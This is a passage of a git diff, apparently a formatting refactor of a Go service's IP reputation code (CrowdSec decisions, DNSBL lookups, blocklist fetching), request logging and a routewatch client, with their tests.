http.Header{"Location": {e.redirect}} + status, header = http.StatusFound, http.Header{ + "Location": {e.redirect}, + } case e.failing: status, body = http.StatusServiceUnavailable, "" case body == "": @@ -449,7 +543,9 @@ func (e *engine) inForce(now time.Time) string { for _, d := range e.decisions { if now.Before(d.expires) { answer = append(answer, map[string]string{ - "duration": d.expires.Sub(now).String(), "origin": "crowdsec", + "duration": d.expires.Sub(now). + String(), + "origin": "crowdsec", "scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value, }) } @@ -501,13 +597,26 @@ func wantEngineFetches(t *testing.T, e *engine, want int) { // wantDecision checks the decision lists says is in force on addr now, // the zero Decision for none. func wantDecision( - t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision, + t *testing.T, + lists *reputation.Lists, + addr string, + want reputation.Decision, ) { t.Helper() - got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now()) + got, listed := lists.CrowdSecDecision( + netip.MustParseAddr(addr), + time.Now(), + ) if listed != !want.Expires.IsZero() || - listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) { - t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want) + listed && + (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) { + t.Errorf( + "%s has the decision %+v in force %t, want %+v", + addr, + got, + listed, + want, + ) } } diff --git a/internal/reputation/dnsbl.go b/internal/reputation/dnsbl.go index c48be94..974c899 100644 --- a/internal/reputation/dnsbl.go +++ b/internal/reputation/dnsbl.go @@ -203,7 +203,10 @@ func (d *DNSBL) Snapshot() []Verdict { d.mu.Unlock() slices.SortFunc(verdicts, func(a, b Verdict) int { - return cmp.Or(a.Client.Compare(b.Client), strings.Compare(a.Zone, b.Zone)) + return cmp.Or( + a.Client.Compare(b.Client), + strings.Compare(a.Zone, b.Zone), + ) }) return verdicts @@ -275,7 +278,11 @@ func (d *DNSBL) lookUp(ctx context.Context, q query) (bool, error) { ctx, cancel := context.WithTimeout(ctx, d.params.Timeout) defer cancel() - answer, err := d.resolver.LookupNetIP(ctx, "ip4", queryName(q.zone, q.client)) + answer, err := d.resolver.LookupNetIP( + ctx, + "ip4", + queryName(q.zone, q.client), + ) var dnsErr *net.DNSError diff --git a/internal/reputation/dnsbl_test.go b/internal/reputation/dnsbl_test.go index 22bf333..a86eb9f 100644 --- a/internal/reputation/dnsbl_test.go +++ b/internal/reputation/dnsbl_test.go @@ -73,7 +73,11 @@ func TestMain(m *testing.M) { return nil, errNoNetwork }, } - _, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.") + _, _ = resolver.LookupNetIP( + context.Background(), + "ip4", + "warm-up.invalid.", + ) m.Run() } @@ -91,8 +95,10 @@ func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) { ) resolver := &resolverStandIn{answers: map[string]answer{ - "99.2.0.192." + zone + ".": {addrs: []string{listing}}, - v6Name + otherZone + ".": {addrs: []string{"127.0.0.4", "127.0.0.10"}}, + "99.2.0.192." + zone + ".": {addrs: []string{listing}}, + v6Name + otherZone + ".": { + addrs: []string{"127.0.0.4", "127.0.0.10"}, + }, "99.2.0.192." + otherZone + ".": {}, }} dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone)) @@ -131,8 +137,11 @@ func TestListedByNeverWaitsForAQuery(t *testing.T) { }) } +// //nolint:paralleltest // one at a time, as the comment at the top of this file says -func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) { +func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched( + t *testing.T, +) { synctest.Test(t, func(t *testing.T) { resolver := &resolverStandIn{answers: map[string]answer{ listedName: {addrs: []string{listing}}, @@ -198,8 +207,11 @@ func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) { }) } +// //nolint:paralleltest // one at a time, as the comment at the top of this file says -func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) { +func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute( + t *testing.T, +) { for _, tc := range []struct { name string answer answer @@ -230,9 +242,12 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing p := dnsblParams(zone) p.Alerts = queue p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) - dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{ - listedName: tc.answer, - }}, p) + dnsbl := newDNSBL( + &resolverStandIn{answers: map[string]answer{ + listedName: tc.answer, + }}, + p, + ) // The failure gives no verdict, and the zone is not asked // again within a minute of it. @@ -258,11 +273,17 @@ func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing Time: time.Now().Add(-time.Minute), Event: alerts.EventSourceFailure, Reason: "asking a DNSBL zone failed", - Detail: map[string]any{"source": zone, "error": tc.error}, + Detail: map[string]any{ + "source": zone, + "error": tc.error, + }, }) - if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+ - `"zone":"`+zone+`","error":"`+tc.error) { + if !strings.Contains( + log.String(), + `"msg":"asking a DNSBL zone failed",`+ + `"zone":"`+zone+`","error":"`+tc.error, + ) { t.Errorf("logged\n%s\nwant the failures", log.String()) } }) @@ -302,8 +323,11 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) { synctest.Wait() scraped := httptest.NewRecorder() - m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, - "/", http.NoBody)) + m.ServeHTTP( + scraped, + httptest.NewRequestWithContext(t.Context(), http.MethodGet, + "/", http.NoBody), + ) for series, want := range map[string]string{ "queries_total" + `{instance="app",source="` + zone + `"}`: "1", @@ -348,19 +372,32 @@ func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) { synctest.Wait() wantZones(t, dnsbl, listed, masked) - if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked { - t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked) + if got := waiting(queue); len(got) != 1 || + got[0].Detail["source"] != masked { + t.Errorf( + "alerts waiting %+v, want the failure's, from %s", + got, + masked, + ) } scraped := httptest.NewRecorder() - m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet, - "/", http.NoBody)) + m.ServeHTTP( + scraped, + httptest.NewRequestWithContext(t.Context(), http.MethodGet, + "/", http.NoBody), + ) for name, shown := range map[string]string{ "the log": log.String(), "the metrics": scraped.Body.String(), } { - if strings.Contains(shown, key) || !strings.Contains(shown, masked) { - t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown) + if strings.Contains(shown, key) || + !strings.Contains(shown, masked) { + t.Errorf( + "%s shows the key, or does not name the zone:\n%s", + name, + shown, + ) } } }) @@ -382,8 +419,17 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) { kept := dnsbl.Snapshot() want := []reputation.Verdict{ - {Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched}, - {Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched}, + { + Zone: zone, + Client: netip.MustParseAddr(listed), + Listed: true, + Fetched: fetched, + }, + { + Zone: zone, + Client: netip.MustParseAddr(unlisted), + Fetched: fetched, + }, } if !reflect.DeepEqual(kept, want) { t.Errorf("verdicts %+v, want %+v", kept, want) @@ -433,12 +479,17 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) { dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse}) - if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) { + if got := dnsbl.Snapshot(); !reflect.DeepEqual( + got, + []reputation.Verdict{inUse}, + ) { t.Errorf("verdicts %+v, want only %+v", got, inUse) } } -func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) { +func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst( + t *testing.T, +) { t.Parallel() now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) @@ -466,7 +517,10 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing. got := dnsbl.Snapshot() if len(got) != count-1 || !slices.Contains(got, verdicts[0]) || slices.Contains(got, verdicts[count-1]) { - t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got)) + t.Errorf( + "%d verdicts kept, want all but the one fetched longest ago", + len(got), + ) } } @@ -476,7 +530,11 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) { listedName: {addrs: []string{listing}}, }} - conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0") + conn, err := (&net.ListenConfig{}).ListenPacket( + t.Context(), + "udp", + "127.0.0.1:0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -500,7 +558,8 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) { // process held up for a whole minute would see the query fail. p.Timeout = time.Minute - isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed)) + isListed, err := reputation.NewDNSBL(p). + LookUp(zone, netip.MustParseAddr(listed)) if err != nil || !isListed { t.Errorf("listed %t (%v), want true", isListed, err) } @@ -554,7 +613,11 @@ func (s *resolverStandIn) set(name string, given answer) { // dial connects Go's resolver to the stand-in through an in-memory // connection, on which it sends each query, and reads each reply, after // its length, as over TCP. -func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) { +func (s *resolverStandIn) dial( + context.Context, + string, + string, +) (net.Conn, error) { client, server := net.Pipe() go s.serve(server) @@ -590,8 +653,10 @@ func (s *resolverStandIn) serve(conn net.Conn) { } //nolint:gosec // a reply of a few dozen bytes - _, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))), - reply...)) + _, err = conn.Write( + append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))), + reply...), + ) if err != nil { return } @@ -692,7 +757,10 @@ func waitForTheResolver() { } // newDNSBL returns the DNSBL of p, asking resolver. -func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL { +func newDNSBL( + resolver *resolverStandIn, + p reputation.DNSBLParams, +) *reputation.DNSBL { dnsbl := reputation.NewDNSBL(p) dnsbl.SetDial(resolver.dial) @@ -701,7 +769,12 @@ func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.D // wantZones checks the zones whose verdict dnsbl says lists client, as a // request from client finds them. -func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) { +func wantZones( + t *testing.T, + dnsbl *reputation.DNSBL, + client string, + want ...string, +) { t.Helper() got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client)) @@ -712,12 +785,21 @@ func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...str // wantQueries checks how many queries dnsbl made to zone, and how many of // them failed. -func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) { +func wantQueries( + t *testing.T, + dnsbl *reputation.DNSBL, + queries, failures int, +) { t.Helper() if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures { - t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone), - dnsbl.Failures(zone), queries, failures) + t.Errorf( + "%d queries and %d failures, want %d and %d", + dnsbl.Queries(zone), + dnsbl.Failures(zone), + queries, + failures, + ) } } diff --git a/internal/reputation/reputation.go b/internal/reputation/reputation.go index f1293df..2bdca7d 100644 --- a/internal/reputation/reputation.go +++ b/internal/reputation/reputation.go @@ -45,13 +45,16 @@ const ( ) var ( - errStatus = errors.New("the server answered") - errTooLong = errors.New("the list is longer than 16 MiB") - errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24") + errStatus = errors.New("the server answered") + errTooLong = errors.New("the list is longer than 16 MiB") + errNotNetblock = errors.New( + "is not an address or a netblock, such as 192.0.2.0/24", + ) errNotASNPercent = errors.New( "is not an AS number, : and a percentage, such as AS64496:50") errNotDecision = errors.New( - "does not give an address or a netblock and a duration, such as 4h0m0s") + "does not give an address or a netblock and a duration, such as 4h0m0s", + ) ) // List is a list as lists.json holds it: the URL it is fetched from, @@ -226,7 +229,10 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) { // decision list on a netblock that holds addr and that ends last, and // whether it is still in force at now. A decision that has ended no // longer bans, even before the next fetch drops it. -func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) { +func (l *Lists) CrowdSecDecision( + addr netip.Addr, + now time.Time, +) (Decision, bool) { if l.params.CrowdSecDecisionsURL == "" { return Decision{}, false } @@ -431,12 +437,24 @@ func (l *Lists) fetch(ctx context.Context, listURL string) { // Raised before it is logged, so that the alert is there once the // log line is. raiseFailure(l.params.Alerts, failed, listURL, err) - l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error()) + l.params.ProcessLog.Warn( + failed, + "url", + listURL, + "error", + err.Error(), + ) return } - l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines)) + l.params.ProcessLog.Info( + "fetched a list", + "url", + listURL, + "lines", + len(lines), + ) } // raiseFailure raises a source_failure alert into queue, with reason, and @@ -459,7 +477,12 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { ctx, cancel := context.WithTimeout(ctx, fetchTimeout) defer cancel() - req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody) + req, err := http.NewRequestWithContext( + ctx, + http.MethodGet, + listURL, + http.NoBody, + ) if err != nil { return nil, fmt.Errorf("make the request: %w", err) } @@ -570,7 +593,10 @@ func parseNetblock(text string) (netip.Prefix, bool) { return netip.Prefix{}, false } - return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true + return netip.PrefixFrom( + netblock.Addr().Unmap(), + netblock.Bits()-mappedBits, + ), true } // parsePercents reads the lines of the file of AS:percent lines, each an @@ -628,7 +654,8 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) { found := entries{decisions: map[netip.Prefix]Decision{}} for i, decision := range answer { - if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") { + if decision.Type != "ban" || + (decision.Scope != "Ip" && decision.Scope != "Range") { continue } @@ -636,12 +663,19 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) { duration, err := time.ParseDuration(decision.Duration) if !ok || err != nil { - return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision) + return entries{}, fmt.Errorf( + "decision %d %w", + i+1, + errNotDecision, + ) } expires := fetched.Add(duration) if expires.After(found.decisions[netblock].Expires) { - found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario} + found.decisions[netblock] = Decision{ + Expires: expires, + Scenario: decision.Scenario, + } } if !slices.Contains(found.lengths, netblock.Bits()) { diff --git a/internal/reputation/reputation_test.go b/internal/reputation/reputation_test.go index 3af0448..4ab8747 100644 --- a/internal/reputation/reputation_test.go +++ b/internal/reputation/reputation_test.go @@ -72,7 +72,9 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) { }) } -func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) { +func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor( + t *testing.T, +) { t.Parallel() now := time.Now() @@ -126,7 +128,9 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) { t.Parallel() synctest.Test(t, func(t *testing.T) { - servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}} + servers := &standIn{ + lists: map[string]string{dropURL: "203.0.113.9\n"}, + } lists := start(t, servers, params(dropURL)) began := time.Now() @@ -142,41 +146,21 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) { wantListedBy(t, lists, "203.0.113.9") wantListedBy(t, lists, "203.0.113.10", dropURL) - if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) { + if fetched := lists.Fetched(dropURL); !fetched.Equal( + began.Add(refresh), + ) { t.Errorf("the copy in use was fetched at %s, want %s", fetched, began.Add(refresh)) } }) } -func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) { +func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown( + t *testing.T, +) { t.Parallel() - for _, tc := range []struct { - name string - // fail has the stand-in answer the fetches after the first so that - // they fail with error. - fail func(servers *standIn) - error string - }{ - { - "an answer other than 200", - func(servers *standIn) { servers.set(dropURL, "") }, - "the server answered 503 Service Unavailable", - }, - { - "a line that does not read", - func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n\n") }, - "line 2 is not an address or a netblock, such as 192.0.2.0/24", - }, - { - "a list longer than 16 MiB", - func(servers *standIn) { - servers.set(dropURL, strings.Repeat("#\n", 8<<20+1)) - }, - "the list is longer than 16 MiB", - }, - } { + for _, tc := range listFailures() { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -205,8 +189,13 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) { want := kept[0] want.Tried = time.Now() - if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) { - t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want) + got := lists.Snapshot() + if !reflect.DeepEqual(got, []reputation.List{want}) { + t.Errorf( + "lists %+v, want the first copy, last tried now, %+v", + got, + want, + ) } if lists.Failures(dropURL) != 2 { @@ -215,10 +204,14 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) { // One alert for the first failure; the cooldown holds back the // second. - wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error)) + failed := time.Now().Add(-refresh) + wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error)) - if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ - `"url":"`+dropURL+`","error":"`+tc.error) { + if !strings.Contains( + log.String(), + `"msg":"fetching a list failed",`+ + `"url":"`+dropURL+`","error":"`+tc.error, + ) { t.Errorf("logged\n%s\nwant the failures", log.String()) } }) @@ -226,6 +219,40 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) { } } +// listFailure is a way a list's fetch can fail. +type listFailure struct { + name string + // fail has the stand-in answer the fetches after the first so that + // they fail with error. + fail func(servers *standIn) + error string +} + +// listFailures returns the ways a list's fetch can fail. +func listFailures() []listFailure { + return []listFailure{ + { + "an answer other than 200", + func(servers *standIn) { servers.set(dropURL, "") }, + "the server answered 503 Service Unavailable", + }, + { + "a line that does not read", + func(servers *standIn) { + servers.set(dropURL, "203.0.113.10\n\n") + }, + "line 2 is not an address or a netblock, such as 192.0.2.0/24", + }, + { + "a list longer than 16 MiB", + func(servers *standIn) { + servers.set(dropURL, strings.Repeat("#\n", 8<<20+1)) + }, + "the list is longer than 16 MiB", + }, + } +} + func TestFetchNotDoneWithinAMinuteFails(t *testing.T) { t.Parallel() @@ -237,19 +264,27 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) { synctest.Wait() if lists.Failures(dropURL) != 0 { - t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL)) + t.Errorf( + "%d failures before a minute, want none", + lists.Failures(dropURL), + ) } time.Sleep(time.Nanosecond) synctest.Wait() if lists.Failures(dropURL) != 1 { - t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL)) + t.Errorf( + "%d failures after a minute, want 1", + lists.Failures(dropURL), + ) } }) } -func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) { +func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -262,8 +297,16 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing. // drop.txt was fetched an hour ago, and tor.txt a refresh ago, as // lists.json says at start. err := lists.Load([]reputation.List{ - {URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}}, - {URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}}, + { + URL: dropURL, + Fetched: time.Now().Add(-time.Hour), + Lines: []string{"203.0.113.9"}, + }, + { + URL: torURL, + Fetched: time.Now().Add(-refresh), + Lines: []string{"198.51.100.9"}, + }, }) if err != nil { t.Fatalf("load: %v", err) @@ -290,7 +333,9 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) { synctest.Test(t, func(t *testing.T) { // drop.txt is fetched, and a refresh later the fetch downloads it // whole but fails on a line that does not read. - servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}} + servers := &standIn{ + lists: map[string]string{dropURL: "198.51.100.1\n"}, + } lists := start(t, servers, params(dropURL)) servers.set(dropURL, "198.51.100.2\n\n") @@ -299,7 +344,9 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) { // Restarted with what lists.json keeps, it waits a refresh // after the failed try, as it does while it runs. - restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}} + restarted := &standIn{ + lists: map[string]string{dropURL: "198.51.100.2\n"}, + } again := reputation.New(params(dropURL)) again.SetTransport(restarted) @@ -349,8 +396,11 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) { wantFetches(t, servers, 1) if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 { - t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL), - waiting(queue)) + t.Errorf( + "%d failures and alerts %+v, want none", + lists.Failures(dropURL), + waiting(queue), + ) } // Restarted an hour later with what lists.json keeps, it fetches @@ -382,7 +432,9 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) { }) } -func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) { +func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage( + t *testing.T, +) { t.Parallel() synctest.Test(t, func(t *testing.T) { @@ -397,7 +449,13 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) { for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} { percent, listed := lists.ASNLimitPercent(asn) if !listed || percent != want { - t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want) + t.Errorf( + "%s has %d (listed %t), want %d", + asn, + percent, + listed, + want, + ) } } @@ -416,7 +474,9 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) { }) } -func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) { +func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead( + t *testing.T, +) { t.Parallel() fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) @@ -432,13 +492,18 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) t.Fatalf("load: %v", err) } - if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) { + if got := lists.Snapshot(); !reflect.DeepEqual( + got, + []reputation.List{kept}, + ) { t.Errorf("copies %+v, want only %+v", got, kept) } - err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{ - "; DROP", "203.0.113.300", - }}}) + err = lists.Load( + []reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{ + "; DROP", "203.0.113.300", + }}}, + ) const want = "the copy of " + dropURL + ": line 2 is not an address or a netblock, such as 192.0.2.0/24" @@ -446,7 +511,10 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) t.Errorf("error %v, want %s", err, want) } - if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) { + if got := lists.Snapshot(); !reflect.DeepEqual( + got, + []reputation.List{kept}, + ) { t.Errorf("copies %+v after the error, want %+v still", got, kept) } } @@ -580,7 +648,12 @@ func wantFetches(t *testing.T, servers *standIn, want int) { } // wantListedBy checks the URLs of the blocklists lists says list addr. -func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) { +func wantListedBy( + t *testing.T, + lists *reputation.Lists, + addr string, + want ...string, +) { t.Helper() got := lists.ListedBy(netip.MustParseAddr(addr)) @@ -611,8 +684,13 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) { t.Helper() got := waiting(queue) - if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 { - t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got, - queue.Suppressed(), want) + if len(got) != 1 || !reflect.DeepEqual(got[0], want) || + queue.Suppressed() != 1 { + t.Errorf( + "alerts waiting %+v, %d held back, want only %+v and 1", + got, + queue.Suppressed(), + want, + ) } } diff --git a/internal/requestlog/requestlog_test.go b/internal/requestlog/requestlog_test.go index 764fb86..11194d7 100644 --- a/internal/requestlog/requestlog_test.go +++ b/internal/requestlog/requestlog_test.go @@ -18,7 +18,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) { var out bytes.Buffer err := requestlog.Write(&out, &requestlog.Line{ - Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)), + Time: requestlog.FormatTime( + time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC), + ), ClientIP: "203.0.113.9", Status: 200, Action: requestlog.ActionForward, @@ -80,7 +82,10 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) { t.Fatalf("write: %v", err) } - err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"}) + err = requestlog.WriteRProxyLine( + &out, + &requestlog.RProxyLine{Query: "a=1&b=<2>"}, + ) if err != nil { t.Fatalf("write the rproxy line: %v", err) } @@ -100,7 +105,10 @@ func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) { } } - if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) { + if !strings.Contains( + lines[0], + `"referer":"https://example.com/?x=1&y=<2>"`, + ) { t.Errorf("%s does not hold the referer as sent", lines[0]) } } @@ -132,8 +140,9 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) { var out bytes.Buffer - requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting", - "version", "v1") + requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo). + Info("starting", + "version", "v1") var fields map[string]any @@ -142,8 +151,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) { t.Fatalf("decode %q: %v", out.String(), err) } - if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" || - fields["msg"] != "starting" || fields["level"] != "INFO" || + if fields["type"] != "process" || + fields["instance"] != "fsn1app1/blog" || + fields["msg"] != "starting" || + fields["level"] != "INFO" || fields["version"] != "v1" { t.Errorf("process line %v", fields) } @@ -154,7 +165,10 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) { if err != nil || !strings.HasSuffix(timeText, "Z") || len(timeText) != len("2006-01-02T15:04:05.000Z") || time.Since(logged) > time.Minute { - t.Errorf("process line time %q, want now in UTC with milliseconds", timeText) + t.Errorf( + "process line time %q, want now in UTC with milliseconds", + timeText, + ) } } @@ -171,7 +185,11 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) { var out bytes.Buffer - processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level) + processLog := requestlog.NewProcessLogger( + &out, + "fsn1app1/blog", + level, + ) for _, at := range levels { processLog.Log(t.Context(), at, "message") } diff --git a/internal/routewatch/routewatch.go b/internal/routewatch/routewatch.go index d974b5b..9c57c33 100644 --- a/internal/routewatch/routewatch.go +++ b/internal/routewatch/routewatch.go @@ -206,7 +206,11 @@ func (c *Client) Load(answers []Answer) { // query as no longer under way. A query that fails gives no answer, and // routewatch is not asked again for failureKept. Only the first failure of // those under way is logged. -func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) { +func (c *Client) ask( + ctx context.Context, + client netip.Prefix, + addr netip.Addr, +) { route, err := c.query(ctx, addr) now := c.params.Now() @@ -227,7 +231,11 @@ func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) c.mu.Unlock() if firstFailure { - c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error()) + c.params.ProcessLog.Warn( + "asking routewatch failed", + "error", + err.Error(), + ) } } @@ -243,7 +251,12 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) { return Route{}, fmt.Errorf("make the URL: %w", err) } - req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody) + req, err := http.NewRequestWithContext( + ctx, + http.MethodGet, + endpoint, + http.NoBody, + ) if err != nil { return Route{}, fmt.Errorf("make the request: %w", err) } diff --git a/internal/routewatch/routewatch_test.go b/internal/routewatch/routewatch_test.go index 21a3b38..ac48b84 100644 --- a/internal/routewatch/routewatch_test.go +++ b/internal/routewatch/routewatch_test.go @@ -131,7 +131,9 @@ func TestMain(m *testing.M) { type silentRoutewatch struct{} // RoundTrip waits until req is abandoned. -func (silentRoutewatch) RoundTrip(req *http.Request) (*http.Response, error) { +func (silentRoutewatch) RoundTrip( + req *http.Request, +) (*http.Response, error) { <-req.Context().Done() return nil, req.Context().Err() @@ -191,12 +193,19 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) { f := newFixture(t, answering(routedAnswer)) if _, missing := f.route(); missing != routewatch.NoAnswerYet { - t.Errorf("before the answer: %q, want %q", missing, 